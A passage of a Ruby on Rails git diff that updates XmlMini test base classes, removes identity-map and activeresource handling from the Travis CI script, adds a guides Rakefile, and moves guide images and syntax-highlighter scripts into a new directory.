   include ActiveSupport
 
   def setup
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
index 57bb35254a..c4770405f2 100644
--- a/activesupport/test/xml_mini/rexml_engine_test.rb
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/xml_mini'
 
-class REXMLEngineTest < Test::Unit::TestCase
+class REXMLEngineTest < ActiveSupport::TestCase
   include ActiveSupport
 
   def test_default_is_rexml
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
index dde17ea403..504fc96493 100644
--- a/activesupport/test/xml_mini_test.rb
+++ b/activesupport/test/xml_mini_test.rb
@@ -3,7 +3,7 @@ require 'active_support/xml_mini'
 require 'active_support/builder'
 
 module XmlMiniTest
-  class RenameKeyTest < Test::Unit::TestCase
+  class RenameKeyTest < ActiveSupport::TestCase
     def test_rename_key_dasherizes_by_default
       assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key")
     end
diff --git a/ci/travis.rb b/ci/travis.rb
index 8087c72f90..b03ac4fe35 100755
--- a/ci/travis.rb
+++ b/ci/travis.rb
@@ -19,7 +19,6 @@ class Build
     'ap'   => 'actionpack',
     'am'   => 'actionmailer',
     'amo'  => 'activemodel',
-    'ares' => 'activeresource',
     'as'   => 'activesupport',
     'ar'   => 'activerecord'
   }
@@ -35,7 +34,6 @@ class Build
     self.options.update(options)
     Dir.chdir(dir) do
       announce(heading)
-      ENV['IM'] = identity_map?.inspect
       rake(*tasks)
     end
   end
@@ -46,7 +44,7 @@ class Build
 
   def heading
     heading = [gem]
-    heading << "with #{adapter} IM #{identity_map? ? 'enabled' : 'disabled'}" if activerecord?
+    heading << "with #{adapter}" if activerecord?
     heading << "in isolation" if isolated?
     heading.join(' ')
   end
@@ -62,7 +60,6 @@ class Build
   def key
     key = [gem]
     key << adapter if activerecord?
-    key << 'IM' if identity_map?
     key << 'isolated' if isolated?
     key.join(':')
   end
@@ -71,10 +68,6 @@ class Build
     gem == 'activerecord'
   end
 
-  def identity_map?
-    options[:identity_map]
-  end
-
   def isolated?
     options[:isolated]
   end
@@ -107,10 +100,6 @@ ENV['GEM'].split(',').each do |gem|
     build = Build.new(gem, :isolated => isolated)
     results[build.key] = build.run!
 
-    if build.activerecord?
-      build.options[:identity_map] = true
-      results[build.key] = build.run!
-    end
   end
 end
 
@@ -132,7 +121,7 @@ failures = results.select { |key, value| value == false }
 
 if failures.empty?
   puts
-  puts "Rails build finished sucessfully"
+  puts "Rails build finished successfully"
   exit(true)
 else
   puts
diff --git a/guides/Rakefile b/guides/Rakefile
new file mode 100644
index 0000000000..d005a12936
--- /dev/null
+++ b/guides/Rakefile
@@ -0,0 +1,71 @@
+namespace :guides do
+
+  desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
+  task :generate => 'generate:html'
+
+  namespace :generate do
+
+    desc "Generate HTML guides"
+    task :html do
+      ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this
+      ruby "rails_guides.rb"
+    end
+
+    desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/kindlepublishing"
+    task :kindle do
+      ENV['KINDLE'] = '1'
+      Rake::Task['guides:generate:html'].invoke
+    end
+  end
+
+  # Validate guides -------------------------------------------------------------------------
+  desc 'Validate guides, use ONLY=foo to process just "foo.html"'
+  task :validate do
+    ruby "w3c_validator.rb"
+  end
+
+  desc "Show help"
+  task :help do
+    puts <<-help
+
+Guides are taken from the source directory, and the resulting HTML goes into the
+output directory. Assets are stored under files, and copied to output/files as
+part of the generation process.
+
+All this process is handled via rake tasks, here's a full list of them:
+
+#{%x[rake -T]}
+Some arguments may be passed via environment variables:
+
+  WARNINGS=1
+    Internal links (anchors) are checked, also detects duplicated IDs.
+
+  ALL=1
+    Force generation of all guides.
+
+  ONLY=name
+    Useful if you want to generate only one or a set of guides.
+    
+    Generate only association_basics.html:
+      ONLY=assoc
+
+    Separate many using commas:
+      ONLY=assoc,migrations
+
+  GUIDES_LANGUAGE
+    Use it when you want to generate translated guides in
+    source/<GUIDES_LANGUAGE> folder (such as source/es)
+
+  EDGE=1
+    Indicate generated guides should be marked as edge.
+
+Examples:
+  $ rake guides:generate ALL=1
+  $ rake guides:generate EDGE=1
+  $ rake guides:generate:kindle EDGE=1
+  $ rake guides:generate GUIDES_LANGUAGE=es
+    help
+  end
+end
+
+task :default => 'guides:help'
diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png
new file mode 100644
index 0000000000..43c963ffa8
--- /dev/null
+++ b/guides/assets/images/belongs_to.png
diff --git a/guides/assets/images/book_icon.gif b/guides/assets/images/book_icon.gif
new file mode 100644
index 0000000000..efc5e06880
--- /dev/null
+++ b/guides/assets/images/book_icon.gif
diff --git a/railties/guides/assets/images/bullet.gif b/guides/assets/images/bullet.gif
index 95a26364a4..95a26364a4 100644
--- a/railties/guides/assets/images/bullet.gif
+++ b/guides/assets/images/bullet.gif
diff --git a/guides/assets/images/challenge.png b/guides/assets/images/challenge.png
new file mode 100644
index 0000000000..30be3d7028
--- /dev/null
+++ b/guides/assets/images/challenge.png
diff --git a/guides/assets/images/chapters_icon.gif b/guides/assets/images/chapters_icon.gif
new file mode 100644
index 0000000000..a61c28c02d
--- /dev/null
+++ b/guides/assets/images/chapters_icon.gif
diff --git a/guides/assets/images/check_bullet.gif b/guides/assets/images/check_bullet.gif
new file mode 100644
index 0000000000..bd54ef64c9
--- /dev/null
+++ b/guides/assets/images/check_bullet.gif
diff --git a/guides/assets/images/credits_pic_blank.gif b/guides/assets/images/credits_pic_blank.gif
new file mode 100644
index 0000000000..a6b335d0c9
--- /dev/null
+++ b/guides/assets/images/credits_pic_blank.gif
diff --git a/guides/assets/images/csrf.png b/guides/assets/images/csrf.png
new file mode 100644
index 0000000000..a8123d47c3
--- /dev/null
+++ b/guides/assets/images/csrf.png
diff --git a/guides/assets/images/customized_error_messages.png b/guides/assets/images/customized_error_messages.png
new file mode 100644
index 0000000000..fcf47b4be0
--- /dev/null
+++ b/guides/assets/images/customized_error_messages.png
diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png
new file mode 100644
index 0000000000..a35dc9f8ee
--- /dev/null
+++ b/guides/assets/images/edge_badge.png
diff --git a/guides/assets/images/error_messages.png b/guides/assets/images/error_messages.png
new file mode 100644
index 0000000000..1189e486d4
--- /dev/null
+++ b/guides/assets/images/error_messages.png
diff --git a/guides/assets/images/favicon.ico b/guides/assets/images/favicon.ico
new file mode 100644
index 0000000000..e0e80cf8f1
--- /dev/null
+++ b/guides/assets/images/favicon.ico
diff --git a/railties/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif
index 75469361db..75469361db 100644
--- a/railties/guides/assets/images/feature_tile.gif
+++ b/guides/assets/images/feature_tile.gif
diff --git a/railties/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif
index bb33fc1ff0..bb33fc1ff0 100644
--- a/railties/guides/assets/images/footer_tile.gif
+++ b/guides/assets/images/footer_tile.gif
diff --git a/railties/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
index 9b531ee584..9b531ee584 100644
--- a/railties/guides/assets/images/fxn.png
+++ b/guides/assets/images/fxn.png
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
new file mode 100644
index 0000000000..1a13eddd91
--- /dev/null
+++ b/guides/assets/images/getting_started/confirm_dialog.png
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
new file mode 100644
index 0000000000..6910e1647e
--- /dev/null
+++ b/guides/assets/images/getting_started/form_with_errors.png
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
new file mode 100644
index 0000000000..bf23cba231
--- /dev/null
+++ b/guides/assets/images/getting_started/index_action_with_edit_link.png
diff --git a/guides/assets/images/getting_started/new_post.png b/guides/assets/images/getting_started/new_post.png
new file mode 100644
index 0000000000..b573cb164c
--- /dev/null
+++ b/guides/assets/images/getting_started/new_post.png
diff --git a/guides/assets/images/getting_started/post_with_comments.png b/guides/assets/images/getting_started/post_with_comments.png
new file mode 100644
index 0000000000..e13095ff8f
--- /dev/null
+++ b/guides/assets/images/getting_started/post_with_comments.png
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
new file mode 100644
index 0000000000..407ea2ea06
--- /dev/null
+++ b/guides/assets/images/getting_started/routing_error_no_controller.png
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
new file mode 100644
index 0000000000..d461807c5d
--- /dev/null
+++ b/guides/assets/images/getting_started/routing_error_no_route_matches.png
diff --git a/guides/assets/images/getting_started/show_action_for_posts.png b/guides/assets/images/getting_started/show_action_for_posts.png
new file mode 100644
index 0000000000..9467df6a07
--- /dev/null
+++ b/guides/assets/images/getting_started/show_action_for_posts.png
diff --git a/guides/assets/images/getting_started/template_is_missing_posts_new.png b/guides/assets/images/getting_started/template_is_missing_posts_new.png
new file mode 100644
index 0000000000..6860aaeca7
--- /dev/null
+++ b/guides/assets/images/getting_started/template_is_missing_posts_new.png
diff --git a/guides/assets/images/getting_started/undefined_method_post_path.png b/guides/assets/images/getting_started/undefined_method_post_path.png
new file mode 100644
index 0000000000..c29cb2f54f
--- /dev/null
+++ b/guides/assets/images/getting_started/undefined_method_post_path.png
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_posts.png b/guides/assets/images/getting_started/unknown_action_create_for_posts.png
new file mode 100644
index 0000000000..1eca14b988
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_create_for_posts.png
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_posts.png b/guides/assets/images/getting_started/unknown_action_new_for_posts.png
new file mode 100644
index 0000000000..fd72586573
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_new_for_posts.png
diff --git a/guides/assets/images/grey_bullet.gif b/guides/assets/images/grey_bullet.gif
new file mode 100644
index 0000000000..3c08b1571c
--- /dev/null
+++ b/guides/assets/images/grey_bullet.gif
diff --git a/guides/assets/images/habtm.png b/guides/assets/images/habtm.png
new file mode 100644
index 0000000000..b062bc73fe
--- /dev/null
+++ b/guides/assets/images/habtm.png
diff --git a/guides/assets/images/has_many.png b/guides/assets/images/has_many.png
new file mode 100644
index 0000000000..e7589e3b75
--- /dev/null
+++ b/guides/assets/images/has_many.png
diff --git a/guides/assets/images/has_many_through.png b/guides/assets/images/has_many_through.png
new file mode 100644
index 0000000000..858c898dc1
--- /dev/null
+++ b/guides/assets/images/has_many_through.png
diff --git a/guides/assets/images/has_one.png b/guides/assets/images/has_one.png
new file mode 100644
index 0000000000..93faa05b07
--- /dev/null
+++ b/guides/assets/images/has_one.png
diff --git a/guides/assets/images/has_one_through.png b/guides/assets/images/has_one_through.png
new file mode 100644
index 0000000000..07dac1a27d
--- /dev/null
+++ b/guides/assets/images/has_one_through.png
diff --git a/guides/assets/images/header_backdrop.png b/guides/assets/images/header_backdrop.png
new file mode 100644
index 0000000000..72b030478f
--- /dev/null
+++ b/guides/assets/images/header_backdrop.png
diff --git a/railties/guides/assets/images/header_tile.gif b/guides/assets/images/header_tile.gif
index e2c878d492..e2c878d492 100644
--- a/railties/guides/assets/images/header_tile.gif
+++ b/guides/assets/images/header_tile.gif
diff --git a/guides/assets/images/i18n/demo_html_safe.png b/guides/assets/images/i18n/demo_html_safe.png
new file mode 100644
index 0000000000..9afa8ebec1
--- /dev/null
+++ b/guides/assets/images/i18n/demo_html_safe.png
diff --git a/guides/assets/images/i18n/demo_localized_pirate.png b/guides/assets/images/i18n/demo_localized_pirate.png
new file mode 100644
index 0000000000..bf8d0b558c
--- /dev/null
+++ b/guides/assets/images/i18n/demo_localized_pirate.png
diff --git a/guides/assets/images/i18n/demo_translated_en.png b/guides/assets/images/i18n/demo_translated_en.png
new file mode 100644
index 0000000000..e887bfa306
--- /dev/null
+++ b/guides/assets/images/i18n/demo_translated_en.png
diff --git a/guides/assets/images/i18n/demo_translated_pirate.png b/guides/assets/images/i18n/demo_translated_pirate.png
new file mode 100644
index 0000000000..aa5618a865
--- /dev/null
+++ b/guides/assets/images/i18n/demo_translated_pirate.png
diff --git a/guides/assets/images/i18n/demo_translation_missing.png b/guides/assets/images/i18n/demo_translation_missing.png
new file mode 100644
index 0000000000..867aa7c42d
--- /dev/null
+++ b/guides/assets/images/i18n/demo_translation_missing.png
diff --git a/guides/assets/images/i18n/demo_untranslated.png b/guides/assets/images/i18n/demo_untranslated.png
new file mode 100644
index 0000000000..2ea6404822
--- /dev/null
+++ b/guides/assets/images/i18n/demo_untranslated.png
diff --git a/railties/guides/assets/images/icons/README b/guides/assets/images/icons/README
index f12b2a730c..f12b2a730c 100644
--- a/railties/guides/assets/images/icons/README
+++ b/guides/assets/images/icons/README
diff --git a/guides/assets/images/icons/callouts/1.png b/guides/assets/images/icons/callouts/1.png
new file mode 100644
index 0000000000..c5d02adcf4
--- /dev/null
+++ b/guides/assets/images/icons/callouts/1.png
diff --git a/guides/assets/images/icons/callouts/10.png b/guides/assets/images/icons/callouts/10.png
new file mode 100644
index 0000000000..fe89f9ef83
--- /dev/null
+++ b/guides/assets/images/icons/callouts/10.png
diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png
new file mode 100644
index 0000000000..9244a1ac4b
--- /dev/null
+++ b/guides/assets/images/icons/callouts/11.png
diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png
new file mode 100644
index 0000000000..ae56459f4c
--- /dev/null
+++ b/guides/assets/images/icons/callouts/12.png
diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png
new file mode 100644
index 0000000000..1181f9f892
--- /dev/null
+++ b/guides/assets/images/icons/callouts/13.png
diff --git a/guides/assets/images/icons/callouts/14.png b/guides/assets/images/icons/callouts/14.png
new file mode 100644
index 0000000000..4274e6580a
--- /dev/null
+++ b/guides/assets/images/icons/callouts/14.png
diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png
new file mode 100644
index 0000000000..39304de94f
--- /dev/null
+++ b/guides/assets/images/icons/callouts/15.png
diff --git a/guides/assets/images/icons/callouts/2.png b/guides/assets/images/icons/callouts/2.png
new file mode 100644
index 0000000000..8c57970ba9
--- /dev/null
+++ b/guides/assets/images/icons/callouts/2.png
diff --git a/guides/assets/images/icons/callouts/3.png b/guides/assets/images/icons/callouts/3.png
new file mode 100644
index 0000000000..57a33d15b4
--- /dev/null
+++ b/guides/assets/images/icons/callouts/3.png
diff --git a/guides/assets/images/icons/callouts/4.png b/guides/assets/images/icons/callouts/4.png
new file mode 100644
index 0000000000..f061ab02b8
--- /dev/null
+++ b/guides/assets/images/icons/callouts/4.png
diff --git a/guides/assets/images/icons/callouts/5.png b/guides/assets/images/icons/callouts/5.png
new file mode 100644
index 0000000000..b4de02da11
--- /dev/null
+++ b/guides/assets/images/icons/callouts/5.png
diff --git a/guides/assets/images/icons/callouts/6.png b/guides/assets/images/icons/callouts/6.png
new file mode 100644
index 0000000000..0e055eec1e
--- /dev/null
+++ b/guides/assets/images/icons/callouts/6.png
diff --git a/guides/assets/images/icons/callouts/7.png b/guides/assets/images/icons/callouts/7.png
new file mode 100644
index 0000000000..5ead87d040
--- /dev/null
+++ b/guides/assets/images/icons/callouts/7.png
diff --git a/guides/assets/images/icons/callouts/8.png b/guides/assets/images/icons/callouts/8.png
new file mode 100644
index 0000000000..cb99545eb6
--- /dev/null
+++ b/guides/assets/images/icons/callouts/8.png
diff --git a/guides/assets/images/icons/callouts/9.png b/guides/assets/images/icons/callouts/9.png
new file mode 100644
index 0000000000..0ac03602f6
--- /dev/null
+++ b/guides/assets/images/icons/callouts/9.png
diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png
new file mode 100644
index 0000000000..031e19c776
--- /dev/null
+++ b/guides/assets/images/icons/caution.png
diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png
new file mode 100644
index 0000000000..1b0e482059
--- /dev/null
+++ b/guides/assets/images/icons/example.png
diff --git a/guides/assets/images/icons/home.png b/guides/assets/images/icons/home.png
new file mode 100644
index 0000000000..24149d6e78
--- /dev/null
+++ b/guides/assets/images/icons/home.png
diff --git a/guides/assets/images/icons/important.png b/guides/assets/images/icons/important.png
new file mode 100644
index 0000000000..dafcf0f59e
--- /dev/null
+++ b/guides/assets/images/icons/important.png
diff --git a/guides/assets/images/icons/next.png b/guides/assets/images/icons/next.png
new file mode 100644
index 0000000000..355b329f5a
--- /dev/null
+++ b/guides/assets/images/icons/next.png
diff --git a/guides/assets/images/icons/note.png b/guides/assets/images/icons/note.png
new file mode 100644
index 0000000000..08d35a6f5c
--- /dev/null
+++ b/guides/assets/images/icons/note.png
diff --git a/guides/assets/images/icons/prev.png b/guides/assets/images/icons/prev.png
new file mode 100644
index 0000000000..ea564c865e
--- /dev/null
+++ b/guides/assets/images/icons/prev.png
diff --git a/guides/assets/images/icons/tip.png b/guides/assets/images/icons/tip.png
new file mode 100644
index 0000000000..d834e6d1bb
--- /dev/null
+++ b/guides/assets/images/icons/tip.png
diff --git a/guides/assets/images/icons/up.png b/guides/assets/images/icons/up.png
new file mode 100644
index 0000000000..379f0045af
--- /dev/null
+++ b/guides/assets/images/icons/up.png
diff --git a/guides/assets/images/icons/warning.png b/guides/assets/images/icons/warning.png
new file mode 100644
index 0000000000..72a8a5d873
--- /dev/null
+++ b/guides/assets/images/icons/warning.png
diff --git a/railties/guides/assets/images/jaimeiniesta.jpg b/guides/assets/images/jaimeiniesta.jpg
index 445f048d92..445f048d92 100644
--- a/railties/guides/assets/images/jaimeiniesta.jpg
+++ b/guides/assets/images/jaimeiniesta.jpg
diff --git a/guides/assets/images/nav_arrow.gif b/guides/assets/images/nav_arrow.gif
new file mode 100644
index 0000000000..ff081819ad
--- /dev/null
+++ b/guides/assets/images/nav_arrow.gif
diff --git a/guides/assets/images/oscardelben.jpg b/guides/assets/images/oscardelben.jpg
new file mode 100644
index 0000000000..9f3f67c2c7
--- /dev/null
+++ b/guides/assets/images/oscardelben.jpg
diff --git a/guides/assets/images/polymorphic.png b/guides/assets/images/polymorphic.png
new file mode 100644
index 0000000000..a3cbc4502a
--- /dev/null
+++ b/guides/assets/images/polymorphic.png
diff --git a/railties/guides/assets/images/radar.png b/guides/assets/images/radar.png
index f61e08763f..f61e08763f 100644
--- a/railties/guides/assets/images/radar.png
+++ b/guides/assets/images/radar.png
diff --git a/guides/assets/images/rails_guides_kindle_cover.jpg b/guides/assets/images/rails_guides_kindle_cover.jpg
new file mode 100644
index 0000000000..9eb16720a9
--- /dev/null
+++ b/guides/assets/images/rails_guides_kindle_cover.jpg
diff --git a/guides/assets/images/rails_guides_logo.gif b/guides/assets/images/rails_guides_logo.gif
new file mode 100644
index 0000000000..9b0ad5af28
--- /dev/null
+++ b/guides/assets/images/rails_guides_logo.gif
diff --git a/railties/guides/assets/images/rails_logo_remix.gif b/guides/assets/images/rails_logo_remix.gif
index 58960ee4f9..58960ee4f9 100644
--- a/railties/guides/assets/images/rails_logo_remix.gif
+++ b/guides/assets/images/rails_logo_remix.gif
diff --git a/guides/assets/images/rails_welcome.png b/guides/assets/images/rails_welcome.png
new file mode 100644
index 0000000000..8ad2d351de
--- /dev/null
+++ b/guides/assets/images/rails_welcome.png
diff --git a/guides/assets/images/session_fixation.png b/guides/assets/images/session_fixation.png
new file mode 100644
index 0000000000..ac3ab01614
--- /dev/null
+++ b/guides/assets/images/session_fixation.png
diff --git a/guides/assets/images/tab_grey.gif b/guides/assets/images/tab_grey.gif
new file mode 100644
index 0000000000..995adb76cf
--- /dev/null
+++ b/guides/assets/images/tab_grey.gif
diff --git a/guides/assets/images/tab_info.gif b/guides/assets/images/tab_info.gif
new file mode 100644
index 0000000000..e9dd164f18
--- /dev/null
+++ b/guides/assets/images/tab_info.gif
diff --git a/guides/assets/images/tab_note.gif b/guides/assets/images/tab_note.gif
new file mode 100644
index 0000000000..f9b546c6f8
--- /dev/null
+++ b/guides/assets/images/tab_note.gif
diff --git a/guides/assets/images/tab_red.gif b/guides/assets/images/tab_red.gif
new file mode 100644
index 0000000000..0613093ddc
--- /dev/null
+++ b/guides/assets/images/tab_red.gif
diff --git a/guides/assets/images/tab_yellow.gif b/guides/assets/images/tab_yellow.gif
new file mode 100644
index 0000000000..39a3c2dc6a
--- /dev/null
+++ b/guides/assets/images/tab_yellow.gif
diff --git a/guides/assets/images/tab_yellow.png b/guides/assets/images/tab_yellow.png
new file mode 100644
index 0000000000..3ab1c56c4d
--- /dev/null
+++ b/guides/assets/images/tab_yellow.png
diff --git a/guides/assets/images/validation_error_messages.png b/guides/assets/images/validation_error_messages.png
new file mode 100644
index 0000000000..30e4ca4a3d
--- /dev/null
+++ b/guides/assets/images/validation_error_messages.png
diff --git a/railties/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
index e21d3cabfc..e21d3cabfc 100644
--- a/railties/guides/assets/images/vijaydev.jpg
+++ b/guides/assets/images/vijaydev.jpg
diff --git a/railties/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
index c4e4d459ea..c4e4d459ea 100644
--- a/railties/guides/assets/javascripts/guides.js
+++ b/guides/assets/javascripts/guides.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js b/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
index 8aa3ed2732..8aa3ed2732 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js b/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
index d40bbd7dd2..d40bbd7dd2 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js b/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
index 8c296969ff..8c296969ff 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
index 079214efe1..079214efe1 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js b/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
index 627dbb9b76..627dbb9b76 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
index 9f70d3aed6..9f70d3aed6 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
index 4297a9a648..4297a9a648 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js b/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
index e1060d4468..e1060d4468 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js b/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
index e9b14fc580..e9b14fc580 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js b/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
index 6ba7d9da87..6ba7d9da87 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js b/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
index 6ec5c18521..6ec5c18521 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
index ff98daba16..ff98daba16 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
index d692fd6382..d692fd6382 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
index 1a150a6ad3..1a150a6ad3 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
index d94a2e0ec5..d94a2e0ec5 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
index 95e6e4325b..95e6e4325b 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
index 9f7d9e90c3..9f7d9e90c3 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
index 0be1752968..0be1752968 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
index ce77462975..ce77462975 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js b/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
index ff82130a7a..ff82130a7a 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js b/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
index aa04da0996..aa04da0996 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js b/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
index 4b0b6f04d2..4b0b6f04d2 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js b/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
index 5c2cd8806f..5c2cd8806f 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js b/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
index be845dc0b3..be845dc0b3 100644
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js b/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
index 69d9fd0b1f..69d9fd0b1f 100644
